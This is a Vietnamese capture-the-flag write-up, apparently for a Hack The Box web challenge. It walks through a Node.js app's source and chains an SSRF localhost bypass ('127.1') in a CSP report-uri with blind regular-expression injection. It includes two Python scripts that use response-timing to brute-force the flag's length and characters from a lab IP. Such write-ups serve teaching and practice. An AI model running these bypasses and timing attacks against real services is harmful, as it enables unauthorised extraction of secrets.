Phân tích code
Vì đề bài cho source code nên mình sẽ tiến hành phần tích mã nguồn để xem ứng dụng có những chức năng gì và luồng của code như thế nào.
Ứng dụng này được viết bằng nodejs. Mình sẽ đọc thư mục routes trước để xem ứng dụng có những chức năng và đường dẫn nào.
Trong thư mục routes có 2 file api.js và index.js. Với file index.js có 2 hàm home page và deactivate page.
Chức năng homepage chỉ để hiển thị các thông tin. Còn chức năng deactivate thì có 1 input là secretCode
. Biến secretCode
thì được vavalidate bởi hàm validateSecret
. Mình sẽ xem hàm validateSecret
sẽ thực hiện điều gì.
const validateSecret = async (secret) => {
try {
const match = await regExp.match(secret, env.FLAG)
return !!match;
} catch (error) {
return false;
}
}
Hàm này sẽ thực hiện kiểm tra regex nếu input secret
có khớp với env.FLAG
hay không.
Tuy nhiên, quay lại chức năng deactivate
, chức năng này có hàm isLocal
.
Hàm isLocal kiểm tra xem remoteAddress
có phải từ 127.0.0.1 và host
là 127.0.0.1:1337 hay không. Vì vậy, điều đó có nghĩa là chức năng này chỉ có thể truy cập được từ localhost.
Tiếp theo mình tiến hành phân tích tệp api.js.
Chức năng evaluate sẽ thực hiện nhận các input csp
sau đó sẽ được kiểm tra bởi hàm evaluateCsp
.
Hàm evaluateCsp
sẽ thực hiện phân tích cú pháp của CSP và nếu đầu vào có report-uri, nó sẽ được kiểm tra bởi hàm checkReportUri
.
Trong CSP thì report-uri sẽ được đi kèm với các url. Mọi người có thể tìm hiểu thêm trong link sau:
Content-Security-Policy: report-uri <uri>;
Content-Security-Policy: report-uri <uri> <uri>;
Hàm checkReportUri như sau
Hàm checkReportUri
sẽ thực hiện kiểm tra xem có mấy URI và kiểm tra xem URI đã gửi có phải là 127.0.0.1 hay localhost từ hàm isLocalhost
hay không.
Nếu tất cả các điều kiện được đáp ứng, hàm httpGet
sẽ được thực thi tới URI đó.
Hàm httpGet
sẽ thực hiện truy cập vào URI đó.
Exploit
Trước tiên, mình sẽ gửi yêu cầu qua API để kiểm tra xem response nhận được là gì.
Tiếp theo mình sẽ gửi thông tin report-uri với uri là 127.0.0.1.
Mình nhận được các thông báo lỗi. Vì vậy, mình phải bypass chức năng kiểm tra isLocalhost
của evaluate. Để ứng dụng có thể truy cập vào được 127.0.0.1.
Thế là mình nghĩ ngay cách bypass giống như lỗ hổng SSRF.
Cách trên có thể bypass hàm isLocalhost
` một cách dễ dàng. Đây là kết quả mình đã nhận được.
Vậy làm thế nào để có được flag. Quay lại hàm deactivate
, trong hàm validateSecret
có một regex kiểm tra xem secret có khớp với flag hay không. Và chức năng request chỉ có thể truy cập qua localhost.
Kết hợp với chức năng evaluate
, mình có thể truy cập chức năng deactivate
bằng cách bypass ở trên.
Tuy nhiên, mình không thấy bất cứ điều gì xảy ra.
Với dữ liệu secret regex với flag, mình đã tìm kiếm các thông tin trên google. Sau một thời gian, mình đã tìm ra đây là lỗ hổng Blind Regular Expression Injection và có 1 cách khai thác nhưu sau.
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://diary.shift-js.info/blind-regular-expression-injection/
Theo thông tin mình đọc được thì khi input đoạn regex ^(?=.\{1\})((.))*salt$
nếu ra kết quả đúng thì request sẽ mất hơn 2s để thực hiện. Và nếu sai, yêu cầu sẽ thực hiện rất nhanh.
vậy mình sẽ code 1 đoạn khai thác tìm kiếm chiều dài của flag trước tiên.
import requests, urllib, time
url = "http://178.128.174.134:32093/api/evaluate"
def brute_flag():
length_of_flag = 0
for i in range(100):
secret_code = urllib.parse.quote_plus(f'^(?=HTB\{\{.\{\{\{i\}\}\}\}\})((.*)*)*salt$')
headers = {'Content-Type': 'application/json'}
data = {'csp': f'report-uri http://127.1:1337/deactivate?secretCode={secret_code}\n'}
response = requests.post(url, headers=headers, json=data)
if response.elapsed.total_seconds() > 2:
length_of_flag = i
break
print("length flag is: \%s " \% str(length_of_flag))
if __name__ == "__main__":
brute_flag()
Kết quả mình nhận được chiều dài flag là 34:
Sau đó mình thực hiện brute flag
import requests, urllib, time
url = "http://178.128.174.134:32093/api/evaluate"
def brute_force_flag():
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_"
flag = ""
for i in range(34):
for i in range(len(alphabet)):
secret_code = urllib.parse.quote_plus(f'^(?=HTB\{\{\{flag\}\{alphabet[i]\}.*\}\})((.*)*)*salt$')
headers = {'Content-Type': 'application/json'}
data = {'csp': f'report-uri http://127.1:1337/deactivate?secretCode={secret_code}\n'}
response = requests.post(url, headers=headers, json=data)
if response.elapsed.total_seconds() > 2:
flag = flag + alphabet[i]
break
print("flag is: HTB\{\%s\}" \% str(flag))
if __name__ == "__main__":
brute_force_flag()
Sau khi chạy xong mình đã có được flag